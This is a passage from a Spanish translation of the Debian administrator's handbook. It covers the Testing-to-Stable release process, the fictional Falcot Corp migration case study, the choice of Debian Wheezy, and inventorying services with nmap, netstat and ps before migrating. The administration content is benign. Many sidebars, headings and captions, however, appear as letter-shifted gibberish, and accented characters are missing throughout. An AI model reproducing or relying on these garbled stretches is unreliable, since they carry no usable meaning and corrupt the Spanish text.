Z TVT BTJTUFOUFT
3FDVFSEF RVF VO QSPCMFNB /1DPNQMFUP FT EF VOB DPNQMFKJEBE BMHPSUNJDB
FYQPOFODJBM TFHO FM UBNBP EF MPT EBUPT RVF TPO BRV MB MPOHJUVE EFM DEJ
HP DBOUJEBE EF MOFBT
Z MPT FMFNFOUPT JOWPMVDSBEPT 'SFDVFOUFNFOUF MB OJ
DB GPSNB EF SFTPMWFSMP FT FYBNJOBS UPEBT MBT DPOGJHVSBDJPOFT QPTJCMFT RVF
SFRVFSJSB DBOUJEBEFT FOPSNFT EF SFDVSTPT 6OB IFVSTUJDB FT VOB TPMVDJO
BQSPYJNBEB QFSP TBUJTGBDUPSJB

$0.6/*%"%
&M HFTUPS EF WFSTJPOFT
k3FMFBTF .BOBHFS{

&M HFTUPS EF WFSTJPOFT k3FMFBTF .BOBHFS{


FT VO UUVMP JNQPSUBOUF BTPDJB
EP B QFTBEBT SFTQPOTBCJMJEBEFT &M QPSUBEPS EF FTUF UUVMP EFCFO FO FGFDUP
HFTUJPOBS MB QVCMJDBDJO EF VOB WFSTJO OVFWB Z FTUBCMF EF %FCJBO Z EFGJOJS FM
QSPDFTP EF EFTBSSPMMP EF 5FTUJOH IBTUB RVF DVNQMB MPT DSJUFSJPT EF DBMJEBE QBSB
4UBCMF 5BNCJO EFGJOF VO DSPOPHSBNB UFOUBUJWP RVF OP TJFNQSF TF DVNQMF

5BNCJO UFOFNPT HFTUPSFT EF WFSTJO FTUBCMFT HFOFSBMNFOUF BCSFWJBEPT 43.
k4UBCMF 3FMFBTF .BOBHFST{
RVJFOFT TF FODBSHBO EF TFMFDDJPOBS BDUVBMJ[B
DJPOFT QBSB MB WFSTJO FTUBCMF BDUVBM EF %FCJBO &MMPT TJTUFNUJDBNFOUF JO
DMVZFO QBSDIFT EF TFHVSJEBE Z FYBNJOBO UPEBT MBT PUSBT QSPQVFTUBT EF JO
DMVTJO DBTP QPS DBTP FOWJBEBT QPS EFTBSSPMMBEPSFT %FCJBO BOTJPTPT EF BDUV
BMJ[BS TV QBRVFUF FO MB WFSTJO FTUBCMF



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

 -B QSPNPDJO EFTEF 5FTUJOH B 4UBCMF


Supongamos ahora que nuestro paquete se incluye en Testing. Mientras tenga margen de mejora,
el responsable del mismo debe continuar mejorando y volver a inicar el proceso desde Unstable (aunque generalmente su posterior inclusin en Testing ser ms rpida: a menos que haya
cambiado significativamente todas sus dependencias ya se encuentran disponibles). El desarrollador completa su trabajo cuando alcanza la perfeccin. El siguiente paso es la inclusin en la
distribucin Stable que, en realidad, es una simple copia de Testing en un momento elegido por el
administrador de versin. Lo ideal sera que esta decisin se tome cuando est listo el instalador
y cuando no exista ningn programa en Testing que tenga errores crticos conocidos.
Ya que este momento nunca llega realmente, en la prctica Debian llega a un compromiso: eliminar paquetes en los que su encargado no corrigi los errores a tiempo o acordar publicar una
versin con algunos errores en los miles de programas. El gestor de versiones habr anunciado
previamente un perodo de estabilizacin (freeze), durante el cual cada actualizacin a Testing
debe ser aprobado. El objetivo aqu es evitar cualquier versin nueva (y nuevos errores) y slo
aprobar correcciones de errores.

'JHVSB 

70$"#6-"3*0
&TUBCJMJ[BDJO MB SFDUB GJOBM

&M DBNJOP EF VO QBRVFUF B USBWT EF MBT WBSJBT WFSTJPOFT EF %FCJBO

%VSBOUF FM QFSPEP EF FTUBCJMJ[BDJO TF CMPRVFB FM EFTBSSPMMP EF MB EJTUSJCVDJO


EF 5FTUJOH OP TF QFSNJUFO NT BDUVBMJ[BDJPOFT BVUPNUJDBT 4MP MPT HFTUPSFT
EF WFSTJO FTUO BVUPSJ[BEPT B DBNCJBS MPT QBRVFUFT EF BDVFSEP B TVT QSPQJPT

$BQUVMP  & M QSPZFDUP %FCJBO



DSJUFSJPT &M PCKFUJWP FT QSFWFOJS MB BQBSJDJO EF OVFWPT FSSPSFT NFEJBOUF MB JO


USPEVDDJO EF OVFWBT WFSTJPOFT MBT BDUVBMJ[BDJPOFT RVF IBZBO TJEP BOBMJ[BEBT
B GPOEP TMP TFSO BVUPSJ[BEBT DVBOEP DPSSJKBO FSSPSFT TJHOJGJDBUJWPT

Luego de la publicacin de una nueva versin estable, el gestor de versiones estables se encarga
de todo el desarrollo futuro (llamados revisiones, por ejemplo: 5.0.1, 5.0.2, 5.0.3 para la versin
5.0). Estas actualizaciones incluyen sistemticamente todos los parches de seguridad. Tambin
incluirn las correcciones ms importantes (el encargado de un paquete deber demostrar la
gravedad del problema que desea corregir para lograr incluir sus actualizaciones).
Al final del viaje, nuestro paquete hipottico ahora est incluido en la distribucin estable. Este
viaje, con sus dificultados, explica las demoras significativas que separan las versiones estables
de Debian. Esto contribuye, en general, a su reputacin de calidad. Lo que es ms, la mayora
de los usuarios son satisfechos utilizando una de las tres distribuciones disponibles simultneamente. Los administradores de sistemas no necesitan la ltima y mejor versin de GNOME preocupados por la estabilidad de sus servidores por sobre todas las cosas; ellos pueden elegir Debian Stable y estarn satisfechos. Los usuarios finales, ms interesados en las ltimas versiones
de GNOME o KDE que en una estabilidad slida, encontrarn en Debian Testing un buen compromiso entre la falta de problemas serios y software relativamente actualizado. Finalmente,
desarrolladores y usuarios ms experimentados pueden liderar el camino probando todos los
ltimos desarrollos en Debian Unstable recin salidos del horno, arriesgndose a sufrir dolores
de cabeza y errores inherentes en cualquier nueva versin de un programa. A cada quien su
propio Debian!

$6-563"
(/0.& Z ,%& MPT FOUPSOPT
HSGJDPT EF FTDSJUPSJP

&O FM NVOEP EFM TPXBSF MJCSF MPT FOUPSOPT HSGJDPT NT QPQVMBSFT TPO
(/0.& k(/6 /FUXPSL 0CKFDU .PEFM &OWJSPONFOU{
Z ,%& k, %FTLUPQ
&OWJSPONFOU{
 6O FOUPSOP EF FTDSJUPSJP FT VO DPOKVOUP EF QSPHSBNBT BHSVQB
EPT QBSB QFSNJUJS VOB GDJM HFTUJO EF MBT PQFSBDJPOFT NT DPNVOFT B USBWT
EF VO FOUPSOP HSGJDP (FOFSBMNFOUF JODMVZFO VO HFTUPS EF BSDIJWPT TVJUF
PGJNUJDB OBWFHBEPS XFC QSPHSBNB EF FNBJM BDDFTPSJPT NVMUJNFEJB FUD
-B EJGFSFODJB NT WJTJCMF SFTJEF FO MB FMFDDJO MB CJCMJPUFDB HSGJDB VUJMJ[BEB
(/0.& IB FMFHJEP (5, TPXBSF MJCSF MJDFODJBEP CBKP MB -(1-
Z ,%& IB
TFMFDDJPOBEP 2U VO QSPZFDUP SFTQBMEBEP QPS VOB FNQSFTB BIPSB EJTQPOJCMF
CBKP MB MJDFODJB (1- Z VOB MJDFODJB DPNFSDJBM

http://www.gnome.org/
http://www.kde.org/



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

'JHVSB 

$BNJOP DSPOPMHJDP EF VO QSPHSBNB FNQBRVFUBEP QPS %FCJBO


$BQUVMP  & M QSPZFDUP %FCJBO



1BMBCSBT DMBWF
'BMDPU $PSQ
1:.&
(SBO DSFDJNJFOUP
1MBO NBFTUSP
.JHSBDJO
3FEVDJO EF DPTUPT

$BQUVMP

1SFTFOUBDJO EFM DBTP


EF FTUVEJP

$POUFOJEPT
/FDFTJEBEFT EF 5* EF SQJEP DSFDJNJFOUP 
1PS RV VOB EJTUSJCVDJO (/6-JOVY



1PS RV MB EJTUSJCVDJO %FCJBO



1MBO NBFTUSP 

1PS RV %FCJBO 8IFF[Z

En el contexto de este libro, es el administrador de sistemas de una pequea empresa


en crecimiento. En colaboracin con sus directores, lleg el momento de redefinir el
plan maestro de los sistemas de informacin para el prximo ao. Eligi migrar a
Debian progresivamente por razones tanto prcticas como econmicas. Veamos en
detalle lo que le espera



Creamos este caso de estudio para abordar todos los servicios de sistemas de informacin modernos utilizados actualmente en una empresa de tamao medio. Luego de leer este libro, tendr
todos los elementos necesarios para instalar Debian en sus servidores y volar con sus propias
alas. Tambin aprender dnde y cmo encontrar informacin eficientemente en los momentos
de dificultad.

 /FDFTJEBEFT EF 5* EF SQJEP DSFDJNJFOUP


Falcot Corp es un fabricante de equipos de audio de alta calidad. La empresa est creciendo
fuertemente y tiene dos filiales, una en Saint-tienne y otra en Montpellier. La primera tiene
alrededor de 150 empleados y alberga una fbrica para la manufactura de altavoces, un laboratorio de diseo y una oficina administrativa. La filial de Montpellier, ms pequea, slo tiene
cerca de 50 trabajadores y produce amplificadores.
/05"
&NQSFTB GJDUJDB DSFBEB QBSB
FM DBTP EF FTUVEJP

-B FNQSFTB VUJMJ[BEB DPNP FKFNQMP BRV 'BMDPU $PSQ FT DPNQMFUBNFOUF GJDUJ


DJB $VBMRVJFS QBSFDJEP DPO VOB DPNQBB FYJTUFOUF FT QVSB DPJODJEFODJB %F
MB NJTNB GPSNB BMHVOPT EBUPT EF FKFNQMP FO FTUF MJCSP QVFEFO TFS GJDUJDJPT

Desde hace tiempo que el sistema informtico tiene dificultad para seguir el ritmo del crecimiento de la compaa, por lo que ahora estn decididos a redefinirlo completamente para lograr los
objetivos establecidos por la gerencia:
moderno, infraestructura que pueda crecer fcilmente;
reducir los costos de licencias de software gracias al uso de software de cdigo abierto;
la instalacin de un sitio web de comercio electrnico, posiblemente B2B (negocio a
negocio, es decir: enlazando sistemas de informacin de diferentes empresas, como un
proveedor con sus clientes);
mejorar significativamente la seguridad para proteger mejor los secretos comerciales
relacionados a productos nuevos.
Se redefinir todo el sistema de informacin con estos objetivos en mente.

 1MBO NBFTUSP


La gerencia TI, con su colaboracin, realiz un estudio un poco ms extensivo que identific
algunas limitaciones y defini el plan para la migracin al sistema de cdigo abierto elegido:
Debian.
Una de las restricciones significativas es que el departamento de finanzas utiliza software especfico que slo ejecuta en Microsoft Windows. El laboratorio, por su cuenta, utiliza software
de diseo asistido que ejecuta en MacOS X.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

'JHVSB 

3FWJTJO EF MB SFE EF 'BMDPU $PSQ

El cambio a Debian ser gradual; no es razonable que una pequea empresa, con medios limitados, cambie todo de un da para otro. Para empezar, se debe entrenar en administracin de
Debian al personal de TI. Despus se convertirn los servidores comenzando con la infraestructura de red (routers, firewalls, etc.), le seguirn los servicios para usuarios (archivos compartidos, web, SMTP, etc.). Finalmente se migrarn gradualmente a Debian los equipos de oficina y
se entrenar (internamente) a cada departamento durante el despliegue del nuevo sistema.

 1PS RV VOB EJTUSJCVDJO (/6-JOVY


70-7&3 " -04
$*.*&/504
-JOVY P (/6-JOVY

-JOVY DPNP ZB TBCF FT TMP FM ODMFP -BT FYQSFTJPOFT kEJTUSJCVDJO -JOVY{


Z kTJTUFNB -JOVY{ TPO QPS MP UBOUP JODPSSFDUBT TPO FO SFBMJEBE TJTUFNBT P
EJTUSJCVDJPOFT CBTBEPT FO -JOVY &TUBT FYQSFTJPOFT OP NFODJPOBO FM TPXBSF
RVF TJFNQSF DPNQMFUB BM ODMFP FOUSF FM RVF FTUO MPT QSPHSBNBT EFTBSSPMMB
EPT QPS FM QSPZFDUP (/6 &M %S 3JDIBSE 4UBMMNBO GVOEBEPS EF FTUF QSPZFDUP
JOTJTUF RVF TF VUJMJDF TJTUFNUJDBNFOUF MB FYQSFTJO k(/6-JOVY{ QBSB SF
DPOPDFS NFKPS MBT JNQPSUBOUFT DPOUSJCVDJPOFT SFBMJ[BEBT QPS FM QSPZFDUP (/6
Z MPT QSJODJQJPT EF MJCFSUBE TPCSF MPT RVF FTUO GVOEBEPT
%FCJBO FMJHJ TFHVJS FTUB SFDPNFOEBDJO Z QPS MP UBOUP OPNCSBS TVT EJTUSJCV
DJPOFT EF GPSNB BDPSEF MB MUJNB WFSTJO FTUBCMF FT %FCJBO (/6-JOVY 


$BQUVMP  1SFTFOUBDJO EFM DBTP EF FTUVEJP



Varios factores dictaron esta eleccin. El administrador del sistema, quien conoca esta distribucin, se asegur que estuviera en la lista de posibles candidatos para el rediseo del sistema informtico. Las complicadas condiciones econmicas y feroz competencia en el sector limitaron
el presupuesto para este proyecto a pesar de su importancia crtica para el futuro de la empresa.
Es por esto que se eligieron rpidamente soluciones de cdigo abierto: varios estudios recientes
indican que son menos costosas que soluciones privativas, a pesar que la calidad del servicio es
igual o mejor, siempre que haya disponible personal calificado para mantenerlo.
&/ -" 13$5*$"
$PTUP UPUBM EF QPTFTJO
k5$0 5PUBM $PTU PG
0XOFSTIJQ{

&M DPTUP UPUBM EF QPTFTJO FT FM UPUBM EF UPEP FM EJOFSP HBTUBEP QBSB MB QPTFTJO
P BERVJTJDJO EF VO FMFNFOUP FO FTUF DBTP TF SFGJFSF BM TJTUFNB PQFSBUJWP
&TUF QSFDJP JODMVZF UPEP QSFDJP EF QPTJCMFT MJDFODJBT DPTUPT EF FOUSFOBNJFOUP
EF QFSTPOBM QBSB USBCBKBS DPO FM TPXBSF OVFWP SFFNQMB[P EF NRVJOBT NVZ
MFOUBT SFQBSBDJPOFT BEJDJPOBMFT FUD 4F UJFOF FO DVFOUB UPEP MP RVF TVSHB EJ
SFDUBNFOUF EF MB FMFDDJO PSJHJOBM
&TUF 5$0 RVF WBSB TFHO FM DSJUFSJP FMFHJEP FO TV FTUVEJP SBSB WF[ FT TJHOJ
GJDBUJWP FO T NJTNP 4JO FNCBSHP FT NVZ JOUFSFTBOUF DPNQBSBS FM 5$0 DBMDV
MBEP TFHO MBT NJTNBT SFHMBT QBSB EJGFSFOUFT PQDJPOFT TJFNQSF &TUB UBCMB EF
WBMPSBDJO FT EF FYUSFNB JNQPSUBODJB Z FT GDJM EF NBOJQVMBS QBSB PCUFOFS VOB
DPODMVTJO EFTFBEB 1PS MP UBOUP FM 5$0 EF TMP VO FRVJQP OP UJFOF TFOUJEP
ZB RVF FM DPTUP EF VO BENJOJTUSBEPS UBNCJO TF SFGMFKB FO FM ONFSP UPUBM EF
FRVJQPT RVF QVFEF HFTUJPOBS VO ONFSP RVF EFQFOEF PCWJBNFOUF EFM TJTUFNB
PQFSBUJWP Z MBT IFSSBNJFOUBT QSPQVFTUBT

Entre los sistemas operativos libres, el departamento de IT analiz sistemas libres BSD (OpenBSD, FreeBSD y NetBSD), GNU Hurd y distribuciones Linux. GNU Hurd, que no ha publicado una
versin estable an, fue rechazado inmediatamente. La eleccin entre BSD y Linux es ms sencilla. El primero tiene mritos, especialmente en servidores. El pragmatismo, sin embargo, dio
lugar a la eleccin de un sistema Linux ya que su base instalada y su popularidad son muy significativas y tienen muchas consecuencias positivas. Debido a esta popularidad es ms sencillo
encontrar personal calificado para administrar equipos Linux que tcnicos con experiencia en
BSD. Adems, las distribuciones Linux se adaptan a nuevo hardware ms rpidamente que BSD
(aunque frecuentemente es una carrera muy pareja). Por ltimo, las distribuciones Linux estn
mejor adaptadas a interfaces grficas amigables para el usuario, indispensable para principiantes durante la migracin de todos los equipos de oficina al nuevo sistema.
"-5&3/"5*7"
%FCJBO (/6L'SFF#4%

%FTEF %FCJBO 4RVFF[F FT QPTJCMF VUJMJ[BS %FCJBO DPO VO ODMFP 'SFF#4% FO


FRVJQPT EF  Z  CJUT FTUP FT MP RVF TJHOJGJDBO MBT BSRVJUFDUVSBT kfreebsdi386 Z kfreebsd-amd64 4J CJFO FTUBT UFDOPMPHBT TPO DPOTJEFSBEBT FYQFSJNFO
UBMFT WJTUB QSFWJB EF UFDOPMPHB k5FDIOPMPHZ 1SFWJFX{
BMSFEFEPS EF   EFM
TPXBSF FNQBRVFUBEP QBSB %FCJBO FTU EJTQPOJCMF QBSB MBT NJTNBT
&TUBT BSRVJUFDUVSBT QVFEFO TFS VOB FMFDDJO BQSPQJBEB QBSB MPT BENJO
JTUSBEPSFT EF 'BMDPU $PSQ FTQFDJBMNFOUF QBSB VO GJSFXBMM FM ODMFP FT DPN
QBUJCMF DPO USFT EJGFSFOUFT *1' *1'8 Z 1'
P QBSB VO TJTUFNB /"4 BMNBDF
OBNJFOUP BDPQMBEP B MB SFE kOFUXPSL BBDIFE TUPSBHF{ QBSB FM RVF FM
TJTUFNB EF BSDIJWPT ;'4 GVF QSPCBEP Z BQSPCBEP




&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

 1PS RV MB EJTUSJCVDJO %FCJBO


Una vez que seleccionada la familia Linux, se debe elegir una opcin ms especfica. Nuevamente, abundan los criterios a considerar. La distribucin elegida debe poder funcionar por muchos aos ya que la migracin de una a otra puede acarrear costos adicionales (aunque menores
que si la migracin fuera entre dos sistemas operativos completamente distintos como Windows
o Mac OS).
La estabilidad es, entonces, esencial y debe garantizar actualizaciones regulares y parches de seguridad por varios aos. El ritmo de las actualizaciones tambin es importante ya que, con tantos
equipos para administrar, Falcot Corp no puede realizar esta operacin compleja muy seguido.
El departamento IT insiste, por lo tanto, ejecutar la ltima versin estable de la distribucin, que
goza de la mejor asistencia tcnica y parches de seguridad garantizados. En efecto, las actualizaciones de seguridad slo son garantizadas por un tiempo limitado en las versiones antiguas
de una distribucin.
Finalmente, por razones de homogeneidad y facilidad de administracin, la misma distribucin
debe ejecutar en todos los servidores (algunos de los cuales son mquinas Sparc que ejecutan
Solaris actualmente) y los equipos de oficina.

 %JTUSJCVDJPOFT DPNFSDJBMFT Z HVJBEBT QPS MB DPNVOJEBE


Existen dos categorias principales de distribuciones Linux: comerciales y guiadas por la comunidad. Las primera, desarrollada por empresas, es vendida junto a servicios de asistencia comerciales. Las ltimas son desarrolladas segn el mismo modelo de desarrollo que el software libre
del que estn compuestas.
Una distribucin comercial tender, entonces, a publicar nuevas versiones ms frecuentemente
para abastecer mejor al mercado de actualizaciones y servicios asociados. Su futuro est conectado directamente al xito comercial de su compaa y muchas ya han desaparecido (Caldera
Linux, StormLinux, etc.).
Una distribucin de la comunidad no sigue ningn cronograma salvo el suyo propio. Similar al
ncleo Linux, se publican nuevas versiones cuando son estables, nunca antes. Su supervivencia
est garantizada mientras tenga suficientes desarrolladores individuales o empresas independientes que la apoyen.
Una comparacin de varias distribuciones Linux llev a elegir Debian por varias razones:
Es una distribucin comunitaria, con desarrollo asegurado independientemente de
cualquier limitacin comercial; sus objetivos son, por lo tanto, de una naturaleza esencialmente tcnica que parece favorecer la calidad general del producto.
De todas las distribuciones comunitarias, es la ms significativa desde varias perspectivas:
cantidad de contribuyentes, nmero de paquetes de software disponibles y aos de existencia continua. El tamao de su comunidad es un testigo innegable de su continuidad.

$BQUVMP  1SFTFOUBDJO EFM DBTP EF FTUVEJP



Estadsticamente, se publican nuevas versiones cada 18 a 24 meses, un cronograma que es


aceptable para los administradores.
Una encuesta de varias compaas francesas de servicios especializadas en software libre
mostr que todas ellas proveen asistencia tcnica para Debian; es tambin, para muchas
de ellas, la distribucin elegida internamente. Esta diversidad de potenciales proveedores
es un componente importante en la independencia de Falcot Corp.
Finalmente, Debian est disponible para una multitud de arquitecturas, incluyendo Sparc;
ser posible, entonces, instalarla en los varios servidores Sun de Falcot Corp.
Una vez que se eligi Debian, se debe decidir qu versin utilizar. Veamos porqu los administradores eligieron Debian Wheezy.

 1PS RV %FCJBO 8IFF[Z


Toda versin publicada de Debian comienza su vida como una distribucin en cambio constante,
tambin conocida como Testing. Pero cuando lea estas lneas, Debian Wheezy debera ser la
ltima versin estable (Stable) de Debian.
La eleccin de Debian wheezy est bien justificada basndose en el hecho de que cualquier administrador preocupado por la calidad de sus servidores naturalmente gravitar hacia la versin
estable de Debian. An cuando la versin estable anterior ser actualizada por un tiempo, los administradores de Falcot no la consideran porque su perodo de soporte no durar lo suficiente
y porque la ltima versin incluye funcionalidades interesantes que consideran importantes.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

1BMBCSBT DMBWF
*OTUBMBDJO FYJTUFOUF
3FVUJMJ[BDJO
.JHSBDJO

$BQUVMP

"OMJTJT EF MB
JOTUBMBDJO FYJTUFOUF
Z NJHSBDJO

$POUFOJEPT
$PFYJTUFODJB FO FOUPSOPT IFUFSPHOFPT 

Cualquier rediseo de un sistema informtico debera tener en cuenta el sistema existente. Esto permite maximizar la reutilizacin de los recursos disponibles y garantiza
la interoperabilidad entre los varios elementos que comprenden al sistema. Este estudio introducir un marco de trabajo genrico a seguir en cualquier migracin de
infraestructura informtica a Linux.

$NP NJHSBS 

 $PFYJTUFODJB FO FOUPSOPT IFUFSPHOFPT


Debian se integra perfectamente en todos los tipos de entornos existentes y funciona muy bien
con otros sistemas operativos. Esta armona casi perfecta es fruto de la presin del mercado que
demanda que los distribuidores de software desarrollen programas que cumplan estndares. El
cumplimiento de los estndares permite a los administradores cambiar programas por otros:
clientes o servidores, sean libres o no.

 *OUFHSBDJO DPO FRVJQPT 8JOEPXT


La compatibilidad con SMB/CIFS de Samba garantiza una comunicacin excelente en un contexto Windows. Comparte archivos y colas de impresin con clientes Windows e incluye software
que le permite a un equipo Linux utilizar recursos disponibles en servidores Windows.
)&33".*&/5"
4BNCB

-B WFSTJO  EF 4BNCB TF DPNQPSUB DPNP VO TFSWJEPS 8JOEPXT /5 BVUFOUJ


DBDJO BSDIJWPT DPMBT EF JNQSFTJO EFTDBSHB EF DPOUSPMBEPSFT EF JNQSFTPSBT
%'4 FUD
 -B WFSTJO  USBCBKB DPO "DUJWF %JSFDUPSZ JOUSPEVDF JOUFSPQFSBCJM
JEBE DPO DPOUSPMBEPSFT EF EPNJOJP /5 Z 31$T k3FNPUF 1SPDFEVSF $BMMT{
MMBNBEBT SFNPUBT B QSPDFEJNJFOUPT
 -B WFSTJO  FT VOB SFFTDSJUVSB RVF QVFEF
QSPWFFS MB GVODJPOBMJEBE EF VO DPOUSPMBEPS EF EPNJOJP DPNQBUJCMF DPO "DUJWF
%JSFDUPSZ

 *OUFHSBDJO DPO FRVJQPT .BD`04


Los equipos Mac OS proveen y pueden utilizar servicios de red como servidores de archivos
e impresoras compartidas. Estos servicios se publican en la red local, lo que permite que
otros equipos los descubran y utilicen sin necesitar configuracin manual, utilizando la implementacin Bonjour de la suite de protocolos Zeroconf. Debian incluye otra implementacin que
provee la misma funcionalidad llamada Avahi.
De la misma forma, puede utilizar el demonio Netatalk para proveer un servidor de archivos a
equipos Mac OSX en la red. El mismo implementa el protocolo AFP (AppleShare) as como tambin las notificaciones necesarias para que los clientes Mac OSX puedan descubrir automticamente los servidores.
Las redes Mac OS antiguas (anteriores a Mac OSX) utilizaban un protocolo diferente llamado
AppleTalk. Aquellos entornos que involucren equipos que utilizan este protocolo, Netatalk tambin provee el protocolo Appletalk (de hecho, comenz como una reimplementacin del mismo). Asegura el funcionamiento del servidor de archivos y colas de impresin as como tambin
el servidor de tiempo (sincronizacin de reloj). Sus funciones de enrutamiento permiten la interconexin con redes AppleTalk.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

 *OUFHSBDJO DPO PUSPT FRVJQPT -JOVY6OJY


Finalmente, NFS y NIS, ambos incluidos, garantizan la iteraccin con sistemas Unix. NFS proporciona la funcionalidad de servidor de archivos mientras que NIS crea los directorios de usuario.
La capa de impresin de BSD, utilizada ampliamente por los sistemas Unix, tambin permite
compartir colas de impresin.

'JHVSB 

$PFYJTUFODJB EF %FCJBO DPO TJTUFNBT .BD04 8JOEPXT Z 6OJY

 $NP NJHSBS


Para poder garantizar la continuidad de los servicios, la migracin de cada equipo debe ser planificada y realizada de acuerdo al plan. Este principio es aplicable sin importar el sistema operativo
que utilice.

 3FDPOPDJNJFOUP F JEFOUJGJDBDJO EF TFSWJDJPT


Simple como parece, este paso es esencial. Un administrador serio realmente conoce los roles
principales de cada servidor, pero dichos roles pueden cambiar y a veces usuarios experimentados pueden haber instalado servicios salvajes. Saber que existen le permitir, al menos, decidir qu hacer con ellos en lugar de eliminarlos sin orden ni propsito.
Por ello, es buena idea informar a sus usuarios del proyecto antes de migrar el servidor. Involucrarlos en el proyecto puede ser til para instalar el software libre ms comn en sus equipos de
escritorio antes de la migracin, programas con los que se encontrarn luego de la migracin a
Debian; LibreOffice.org y la suite Mozilla son los mejores ejemplos de tales programas.

$BQUVMP  " OMJTJT EF MB JOTUBMBDJO FYJTUFOUF Z NJHSBDJO



-B SFE Z MPT QSPDFTPT


La herramienta nmap (en el paquete del mismo nombre) identificar rpidamente servicios de
internet hospedados en un equipo conectado a la red sin siquiera necesitar iniciar sesin en el
mismo. Simplemente ejecute la siguiente orden en otro equipo conectado a la misma red:
$ nmap mirwiz
Starting Nmap 6.00 ( http://nmap.org ) at 2012-12-17 11:34 CET
Nmap scan report for mirwiz (192.168.1.104)
Host is up (0.0037s latency).
Not shown: 999 closed ports
PORT
STATE SERVICE
22/tcp open ssh
Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds

"-5&3/"5*7"
6UJMJDF netstat QBSB
FODPOUSBS MB MJTUB EF TFSWJDJPT
EJTQPOJCMFT

&O MPT FRVJQPT -JOVY MB PSEFO netstat -tupan NPTUSBS MB MJTUB EF TFTJPOFT
5$1 BDUJWBT P QFOEJFOUFT BT DPNP UBNCJO MPT QVFSUPT 6%1 FO MPT RVF FT
DVDIBO MPT QSPHSBNBT &TUP GBDJMJUB MB JEFOUJGJDBDJO EF MPT TFSWJDJPT RVF TF
PGSFDFO FO MB SFE

:&/%0 .4 "--
*1W

"MHVOBT SEFOFT EF SFE QVFEFO TFS VUJMJ[BEPT DPO *1W MP QSFEFUFSNJOBEP


OPSNBMNFOUF
P DPO *1W -BT SEFOFT nmap Z netstat FOUSF FMMBT QFSP UBNCJO
IBZ PUSPT DPNP route P ip -B DPOWFODJO FT RVF MB PQDJO -6 BDUJWB FTUF
DPNQPSUBNJFOUP

Si el servidor es un equipo Unix ofreciendo acceso de consola a los usuarios, es interesante determinarlo si se ejecutan procesos en segundo plano en ausencia de su usuario. La orden ps
auxw muestra una lista de todos los procesos con la identidad de su usuario. Comparar esta informacin con la salida de la orden who, que provee la lista de usuarios con sesiones activas, permite identificar servidores no declarados o independientes o programas ejecutando en segundo
plano. Revisar crontab (tablas de acciones programadas por usuarios) generalmente proveer
informacin interesante sobre las funciones que cumple el servidor (una explicacin completa
de cron est disponible en la Seccin 9.7, Programacin de tareas con cron y atd pgina 210).
En cualquier caso, es esencial que haga respaldos de sus servidores: de esta forma se asegurar
que la informacin pueda ser recuperada despus del hecho, cuando los usuarios informen acerca de problemas concretos derivados de la migracin.

 3FTQBMEPT EF MB DPOGJHVSBDJO


Es buena idea conservar la configuracin de todo servicio identificado para poder instalar el
equivalente en el nuevo servidor. Como mnimo debera hacer un respaldo de los archivos de
configuracin.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

En los equipos Unix, los archivos de configuracin se encuentran normalmente en /etc/ pero
puede que se encuentren en un subdirectorio de /usr/local/. Este es el caso si el programa se
ha instalado desde las fuentes en lugar de utilizar un paquete. En algunos casos podra encontrarlos en /opt/.
Para servicios que administren datos (como bases de datos), es muy recomendable exportar los
datos a un formato estndar que pueda ser importado fcilmente por el nuevo software. Tal
formato generalmente est documentado y es texto plano; puede ser, por ejemplo, un volcado
SQL para una base de datos o un archivo LDIF para un servidor LDAP.

'JHVSB 

3FTQBMEPT EF CBTF EF EBUPT

Cada software de servidor es diferente y es imposible describir en detalle todos los casos posibles. Compare la documentacin del software nuevo y el actual para identificar las porciones
exportables (y, por lo tanto, importables) y aquellas que necesitarn que intervenga de forma
manual. Leer este libro clarificar la configuracin de los principales programas de servidor en
Linux.

 "EPQDJO EF VO TFSWJEPS %FCJBO FYJTUFOUF


Para efectivamente tomar el control de su mantenimiento, uno podra analizar un equipo que
ya ejecuta Debian.
El primer archivo a revisar es /etc/debian_version que generalmente contiene el nmero de
versin para el sistema Debian instalado (es parte del paquete base-files. Si indica OPNCSF@D
EJHPTJE significa que el sistema fue actualizado con paquetes que provienen de alguna de las
distribuciones en desarrollo (Testing o Unstable).
El programa apt-show-versions (que se encuentra en el paquete Debian que lleva el mismo
nombre) comprueba la lista de paquetes instalados e identifica las versiones disponibles. Puede
utilizar tambin aptitude para estas tareas, aunque de un modo menos sistemtico.
Revisar el archivo /etc/apt/sources.list mostrar de dnde es probable que provengan los
paquetes Debian. Si aparecen muchas fuentes desconocidas, el administrador podra elegir rein-

$BQUVMP  " OMJTJT EF MB JOTUBMBDJO FYJTUFOUF Z NJHSBDJO



stalar el sistema completamente para asegurar compatibilidad ptima con el software provisto
por Debian.
El archivo sources.list es generalmente un buen indicador: la mayora de los administradores
mantienen, al menos como comentarios, la lista de fuentes APT utilizadas anteriormente. Pero
no debe olvidar que fuentes utilizadas previamente podran haber sido eliminadas y se podran
haber instalado manualmente paquetes al azar descargados de internet (con la orden dpkg). En
este caso, la apariencia del equipo como un Debian estndar es engaosa. Es por eso que debe
prestar atencin a cualquier indicacin que revele la presencia de paquetes externos (archivos
deb en directorios inusuales, nmeros de versin de paquetes con sufijos especiales que indican
su origen fuera del proyecto Debian como VCVOUV o MNEF, etc.)
De la misma forma, es interesante analizar el contenido del directorio /usr/local/, cuyo
propsito es albergar programas compilados e instalados manualmente. Generar una lista de
software instalado de esta forma es instructivo, ya que genera dudas sobre las razones para no
utilizar el paquete Debian correspondiente, si es que existe.
7*45" 31*%"
DSV

&M QBRVFUF DSV TF QSPQPOF MJTUBS UPEPT MPT BSDIJWPT EJTQPOJCMFT RVF OP TPO
QBSUF EF OJOHO QBRVFUF 5JFOF BMHVOPT GJMUSPT NT P NFOPT FGFDUJWPT Z NT
P NFOPT BDUVBMJ[BEPT
QBSB FWJUBS SFQPSUBS BSDIJWPT MFHUJNPT BSDIJWPT HFOFS
BEPT QPS QBRVFUFT %FCJBO P BSDIJWPT EF DPOGJHVSBDJO HFOFSBEPT RVF OP TPO
BENJOJTUSBEPT QPS dpkg FUD

a5FOHB DVJEBEP EF OP CPSSBS DJFHBNFOUF UPEP MP RVF MJTUF cruft

 *OTUBMBDJO EF %FCJBO


